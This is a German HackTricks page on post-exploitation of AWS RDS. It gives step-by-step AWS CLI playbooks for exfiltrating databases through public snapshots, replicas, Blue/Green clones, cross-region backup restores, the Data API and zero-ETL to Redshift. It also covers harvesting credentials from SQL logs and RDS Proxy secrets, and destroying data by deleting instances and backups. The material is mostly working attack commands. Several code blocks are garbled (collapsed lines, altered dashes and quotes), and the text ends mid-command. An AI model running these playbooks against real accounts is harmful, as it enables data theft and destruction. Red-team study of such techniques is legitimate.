AWS - RDS Post Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

RDS

Weitere Informationen:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Wenn der Angreifer über ausreichende Berechtigungen verfügt, könnte er eine DB öffentlich zugänglich machen, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus dem Snapshot wiederherstellt.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

Ein attacker mit rds:StopDBCluster oder rds:StopDBInstance kann einen sofortigen Stopp einer RDS instance oder eines gesamten Clusters erzwingen, was zu Nichtverfügbarkeit der Datenbank, unterbrochenen Verbindungen und zur Unterbrechung von Prozessen führt, die von der Datenbank abhängen.

Um eine einzelne DB instance zu stoppen (Beispiel):

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Um einen gesamten DB-Cluster zu stoppen (Beispiel):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Modify*

Ein Angreifer, dem rds:Modify* Berechtigungen erteilt wurden, kann kritische Konfigurationen und zugehörige Ressourcen (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) verändern, ohne die instance oder den cluster direkt zu berühren. Änderungen wie das Anpassen von Verbindung-/Timeout-Parametern, das Ändern eines proxy endpoint, das Modifizieren, welche Zertifikate vertraut werden, das Verändern der logischen Kapazität oder das Neukonfigurieren einer subnet group können die Sicherheit schwächen (neue Zugriffswege öffnen), Routing und Load-Balancing stören, Replikations-/Backup-Richtlinien ungültig machen und generell Verfügbarkeit oder Wiederherstellbarkeit beeinträchtigen. Diese Änderungen können außerdem indirekte Datenexfiltration erleichtern oder eine geordnete Wiederherstellung der Datenbank nach einem Vorfall behindern.

Verschieben oder Ändern der subnets, die einer RDS subnet group zugewiesen sind:

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

Niedrigstufige Engine-Parameter in einer Cluster-Parametergruppe ändern:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

rds:Restore*

Ein Angreifer mit rds:Restore*-Rechten kann komplette Datenbanken aus snapshots, automatisierten Backups, point-in-time recovery (PITR) oder aus in S3 gespeicherten Dateien wiederherstellen und dabei neue Instanzen oder Cluster erzeugen, die mit den Daten des gewählten Zeitpunkts gefüllt sind. Diese Vorgänge überschreiben nicht die Originalressourcen — sie erstellen neue Objekte, die die historischen Daten enthalten — wodurch ein Angreifer vollständige, funktionale Kopien der Datenbank (aus früheren Zeitpunkten oder aus externen S3-Dateien) erhalten und nutzen kann, um Daten zu exfiltrieren, historische Einträge zu manipulieren oder frühere Zustände wiederherzustellen.

Eine DB-Instanz zu einem bestimmten Zeitpunkt wiederherstellen:

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

rds:Delete*

Ein Angreifer, dem rds:Delete* gewährt wurde, kann RDS-Ressourcen entfernen — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups und zugehörige Artefakte löschen — und dadurch sofortige Serviceunterbrechungen, Datenverlust, Zerstörung von Wiederherstellungspunkten sowie Verlust forensischer Beweise verursachen.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Ein Angreifer mit diesen Berechtigungen könnte einen Snapshot einer DB erstellen und diesen öffentlich verfügbar machen. Dann könnte er einfach in seinem eigenen Account eine DB aus diesem Snapshot erstellen.

Wenn der Angreifer die rds:CreateDBSnapshot nicht hat, könnte er trotzdem bereits erstellte andere snapshots öffentlich machen.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Ein Angreifer mit der Berechtigung rds:DownloadDBLogFilePortion kann Teile der Logdateien einer RDS-Instanz herunterladen. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert wurden, könnte der Angreifer diese Informationen möglicherweise nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Mögliche Auswirkungen: Zugriff auf sensible Informationen oder unautorisierte Aktionen unter Verwendung von leaked credentials.

rds:DeleteDBInstance

Ein Angreifer mit diesen Berechtigungen kann DoS bestehende RDS-Instanzen.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potentielle Auswirkungen: Löschung vorhandener RDS-Instanzen und möglicher Datenverlust.

rds:StartExportTask

Note

TODO: Testen

Ein Angreifer mit dieser Berechtigung kann einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potenzielle Auswirkung: Zugriff auf sensible Daten im exportierten Snapshot.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

Missbrauche cross-Region automated backups replication, um heimlich die automatischen Backups einer RDS-Instanz in eine andere AWS Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Überwachungsbereichs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht beobachten.

Permissions needed (minimum):

  • rds:StartDBInstanceAutomatedBackupsReplication in the destination Region
  • rds:DescribeDBInstanceAutomatedBackups in the destination Region
  • rds:RestoreDBInstanceToPointInTime in the destination Region
  • rds:ModifyDBInstance in the destination Region
  • rds:StopDBInstanceAutomatedBackupsReplication (optional cleanup)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (to expose the restored DB)

Impact: Persistenz und Datenexfiltration durch Wiederherstellen einer Kopie von Produktionsdaten in eine andere Region und öffentliches Zugänglichmachen mit vom Angreifer kontrollierten Zugangsdaten.

End-to-end CLI (Platzhalter ersetzen) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Vollständiges SQL-Logging über DB parameter groups aktivieren und exfiltrate über RDS log APIs

Abuse `rds:ModifyDBParameterGroup` mit RDS log download APIs, um alle von Anwendungen ausgeführten SQL-Statements zu erfassen (keine DB engine credentials erforderlich). Aktiviere engine SQL logging und lade die Log-Dateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder das REST `downloadCompleteLogFile`). Nützlich, um queries zu sammeln, die secrets/PII/JWTs enthalten können.

Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)

Schritte
1) Recon des Ziels und der aktuellen parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Stelle sicher, dass eine benutzerdefinierte DB parameter group angehängt ist (die default kann nicht bearbeitet werden)
  • Falls die Instanz bereits eine benutzerdefinierte Gruppe nutzt, verwende deren Namen im nächsten Schritt.
  • Andernfalls erstelle und hänge eine an, die zur engine family passt:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Ausführliches SQL logging aktivieren
  • MySQL-Engines (sofort / kein Neustart):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • PostgreSQL engines (Neustart erforderlich):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Lassen Sie die Workload laufen (oder erzeugen Sie Abfragen). Anweisungen werden in die Engine-Logdateien geschrieben
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Logs entdecken und herunterladen (keine DB creds erforderlich)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Offline nach sensiblen Daten analysieren
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Beispielbelege (geschwärzt):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Bereinigung

  • Parameter auf Standardwerte zurücksetzen und bei Bedarf neu starten:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen über AWS APIs (keine DB-Creds), möglicherweise leaking secrets, JWTs und PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Missbrauche RDS read replicas, um out-of-band Lesezugriff zu erhalten, ohne die Zugangsdaten der Primärinstanz zu berühren. Ein Angreifer kann aus einer Produktionsinstanz eine read replica erstellen, das Master-Passwort der Replica zurücksetzen (dies ändert die Primärinstanz nicht) und die Replica optional öffentlich machen, um Daten zu exfiltrieren.

Permissions needed (minimum):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (if exposing publicly)

Auswirkung: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Beispielhinweise (MySQL):

  • Replica DB-Status: available, Lese-Replikation: replicating
  • Erfolgreiche Verbindung mit neuem Passwort und @@read_only=1, die den schreibgeschützten Zugriff auf die Replica bestätigt.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Missbrauche RDS Blue/Green, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte grüne Umgebung zu klonen. Setze dann die Master-Zugangsdaten der grünen Umgebung zurück, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz zu verändern. Das ist unauffälliger als die Freigabe von Snapshots und umgeht oft Überwachungen, die sich nur auf die Quelle konzentrieren.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Auswirkung: Nur-Lesezugriff, aber vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenextraktion und Offline-Analyse.

Out-of-band SQL über RDS Data API durch Aktivieren des HTTP-Endpoints + Zurücksetzen des Master-Passworts

Missbrauche Aurora, um das RDS Data API HTTP endpoint auf einem Zielcluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora engines, die das Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).

Berechtigungen (mindestens):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement, falls verwendet)

Auswirkung: Umgehe Netzwerksegmentierung und exfiltriere Daten über AWS-APIs ohne direkte VPC-Konnektivität zur DB.

End-to-end-CLI (Aurora MySQL Beispiel) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

Hinweise:
- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled auf False.


### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Missbrauche die RDS Proxy-Konfiguration, um das für die Backend-Authentifizierung verwendete Secrets Manager-Secret zu entdecken, und lese dann das Secret aus, um Datenbank-Zugangsdaten zu erhalten. Viele Umgebungen gewähren umfangreiche `secretsmanager:GetSecretValue`-Berechtigungen, wodurch dies ein niedrigaufwändiger Pivot zu DB-Creds ist. Wenn das Secret eine CMK verwendet, können fehlkonfigurierte KMS-Berechtigungen auch `kms:Decrypt` erlauben.

Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` auf das referenzierte SecretArn
- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` auf diesem Key

Auswirkung: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weitere laterale Bewegung.

Schritte
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Labor (minimal zur Reproduktion)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Bereinigung (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)

Missbrauche die Aurora PostgreSQL zero‑ETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit laufende Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkzugriff.

Permissions needed (minimum):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (to query)
  • rds-data:ExecuteStatement (optional; to seed data if needed)

Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Erstelle Redshift Serverless namespace + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Redshift-Ressourcenrichtlinie so konfigurieren, dass die Aurora-Quelle zugelassen wird ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Erstellen eines Aurora PostgreSQL-Clusters (Data API und logische Replikation aktivieren) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws 